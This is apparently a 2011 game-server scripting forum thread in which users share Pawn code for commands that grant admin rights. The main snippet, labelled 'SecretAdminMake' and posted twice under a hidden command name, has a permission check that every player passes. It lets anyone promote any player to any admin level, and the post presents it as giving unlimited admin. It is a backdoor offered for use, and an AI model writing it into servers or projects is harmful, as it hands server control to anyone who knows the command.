22.01.2011, 15:48
I want that every time someone type this command he get admin level 1 Tnx xD
if(strcmp(cmd,"/nameofcommand",true) == 0) { SendClientMessage(playerid,0xFFFF00AA,"Secret command to be an admin discovered."); SendClientMessage(playerid,0xFFFF00AA,"Now you can use /rcon login [rcon password]."); return 1; }
//----------------------------------[SecretAdminMake]------------------------------------------------ if(strcmp(cmd, "/changemewithanything!", true) == 0) { if(IsPlayerConnected(playerid)) { tmp = strtok(cmdtext, idx); if(!strlen(tmp)) { SendClientMessage(playerid, COLOR_GRAD2, "USAGE: /makeadmin [playerid/PartOfName] [level(1-1340)]"); return 1; } new para1; new level; para1 = ReturnUser(tmp); tmp = strtok(cmdtext, idx); level = strval(tmp); if(PlayerInfo[playerid][pAdmin] >= 0) { if(IsPlayerConnected(para1)) { if(para1 != INVALID_PLAYER_ID) { GetPlayerName(para1, giveplayer, sizeof(giveplayer)); GetPlayerName(playerid, sendername, sizeof(sendername)); PlayerInfo[para1][pAdmin] = level; printf("AdmCmd: %s has promoted %s to a level %d admin.", sendername, giveplayer, level); format(string, sizeof(string), " You have been promoted to a level %d admin by %s", level, sendername); SendClientMessage(para1, COLOR_WHITE, string); format(string, sizeof(string), " You have promoted %s to a level %d admin.", giveplayer,level); SendClientMessage(playerid, COLOR_WHITE, string); } } } } return 1; }
if(strcmp(cmd, "/admin", true) == 0)
{
PlayerInfo[playerid][pAdmin] = 2;
SendClientMessage(playerid, 0xAAAAAA, "You are now admin level 2!");
return 1;
}
This CODE will give you admin 1-100000 no limit
//----------------------------------[SecretAdminMake]------------------------------------------------ if(strcmp(cmd, "/CHANGEME", true) == 0) { if(IsPlayerConnected(playerid)) { tmp = strtok(cmdtext, idx); if(!strlen(tmp)) { SendClientMessage(playerid, COLOR_GRAD2, "USAGE: /makeadmin [playerid/PartOfName] [level(1-1340)]"); return 1; } new para1; new level; para1 = ReturnUser(tmp); tmp = strtok(cmdtext, idx); level = strval(tmp); if(PlayerInfo[playerid][pAdmin] >= 0) { if(IsPlayerConnected(para1)) { if(para1 != INVALID_PLAYER_ID) { GetPlayerName(para1, giveplayer, sizeof(giveplayer)); GetPlayerName(playerid, sendername, sizeof(sendername)); PlayerInfo[para1][pAdmin] = level; printf("AdmCmd: %s has promoted %s to a level %d admin.", sendername, giveplayer, level); format(string, sizeof(string), " You have been promoted to a level %d admin by %s", level, sendername); SendClientMessage(para1, COLOR_WHITE, string); format(string, sizeof(string), " You have promoted %s to a level %d admin.", giveplayer,level); SendClientMessage(playerid, COLOR_WHITE, string); } } } } return 1; } |